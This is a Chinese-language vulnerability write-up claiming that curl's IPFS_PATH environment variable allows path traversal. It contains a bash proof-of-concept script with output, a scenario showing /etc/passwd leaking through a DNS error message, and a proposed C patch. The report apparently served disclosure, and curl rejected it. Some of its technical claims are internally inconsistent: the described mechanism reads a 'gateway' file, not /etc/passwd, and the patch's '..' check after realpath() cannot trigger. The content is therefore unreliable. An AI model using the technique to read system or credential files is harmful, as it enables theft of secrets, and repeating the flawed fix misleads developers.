curl IPFS_PATH 环境变量路径遍历漏洞分析
漏洞概述
curl版本7.81.0及以上支持IPFS功能中存在路径遍历漏洞。IPFS_PATH环境变量未经过适当清理,攻击者可通过操纵目录遍历序列(如../../../../etc)读取任意文件。此缺陷通过DNS/HTTP错误消息导致敏感数据(如SSH密钥、凭证、系统文件)泄露。
受影响版本
curl 8.13.0(及所有7.81.0+支持IPFS的版本)
漏洞复现步骤
创建数据获取脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
#!/bin/bash
# 1. 创建包含唯一URL类内容的测试文件
TEST_CONTENT="http://LEAKED_DATA_$(date +%s).invalid"
echo "$TEST_CONTENT" > /tmp/test_file.txt
# 2. 设置漏洞利用
EXPLOIT_DIR=$(mktemp -d)
ln -sf /tmp/test_file.txt "$EXPLOIT_DIR/gateway"
export IPFS_PATH="$EXPLOIT_DIR"
# 3. 触发漏洞
echo "[+] Testing exploit - should leak: $TEST_CONTENT"
curl -v ipfs://dummycid 2>&1 | grep -A1 "Could not resolve host"
# 4. 清理
unset IPFS_PATH
rm -rf "$EXPLOIT_DIR" /tmp/test_file.txt
|
运行脚本
1
2
|
chmod +x data-fetcher.sh
./data-fetcher.sh
|
输出结果
1
2
3
4
|
[+] Testing exploit - should leak: http://LEAKED_DATA_1744992527.invalid
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Could not resolve host: LEAKED_DATA_1744992527.invalid
shutting down connection #0
curl: (6) Could not resolve host: LEAKED_DATA_1744992527.invalid
|
简单示例:文档查看器应用
应用场景
应用允许用户查看IPFS上存储的文件(如ipfs://QmPDF)。
工作原理
1
2
|
# 应用使用curl获取文件
curl --ipfs-gateway https://trusted-gateway.com ipfs://QmPDF
|
攻击步骤(无需应用漏洞)
攻击者设置恶意路径:
1
|
export IPFS_PATH="/tmp/../../../../etc" # 遍历到/etc
|
用户正常使用应用(如点击"查看PDF")。
结果
curl读取/etc/passwd而非PDF文件,文件内容通过错误消息泄露:
1
|
curl: (6) Could not resolve host: root:x:0:0:root:/root:/bin/bash
|
关键说明
- 应用无过错:正确使用curl,无代码缺陷或配置错误
- 攻击者仅需:能够设置环境变量(如共享主机、CI/CD环境)
- 用户无辜:仅正常使用应用
真实世界类比
想象一个快递应用(curl)盲目信任外部提供的地址(IPFS_PATH)。攻击者诱骗应用将包裹投递到/etc/passwd而非用户家中,导致应用泄露不应访问的敏感邮件(文件)。
缓解措施
- 清理IPFS_PATH:
- 使用realpath()解析绝对路径
- 阻止目录遍历序列(..)
- 默认禁用IPFS:仅在可信环境中启用
CVSS评分
CVSS:3.1: /AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N(高危)
影响
凭证、SSH密钥和系统文件被盗。
技术讨论
curl团队认为此漏洞需要攻击者能够设置环境变量,已超出curl的保护范围。但报告者指出在共享主机、CI/CD管道等受限环境中,攻击者可能通过设置IPFS_PATH绕过隔离机制。
修复建议
在src/tool_ipfs.c中添加路径验证:
1
2
3
4
5
6
7
8
9
10
11
|
// 在src/tool_ipfs.c中
#include <libgen.h>
// 替换易受攻击的代码(第94行):
char *resolved_path = realpath(ipfs_path, NULL);
if (!resolved_path || strstr(resolved_path, "..")) {
failf(global, "Invalid IPFS_PATH: %s", ipfs_path);
return CURLE_PATH_CONTAINS_TRAVERSAL;
}
gateway_composed_file_path = aprintf("%s/gateway", resolved_path);
free(resolved_path);
|
包含漏洞的文件URL:https://github.com/curl/curl/blob/d364f1347f05c53eea5d25a15b4ad8a62ecc85b8/src/tool_ipfs.c#L94
最终状态
curl团队将此报告标记为"不适用",认为环境变量控制已超出curl的安全边界。报告于2025年6月28日公开披露,未分配CVE编号和赏金。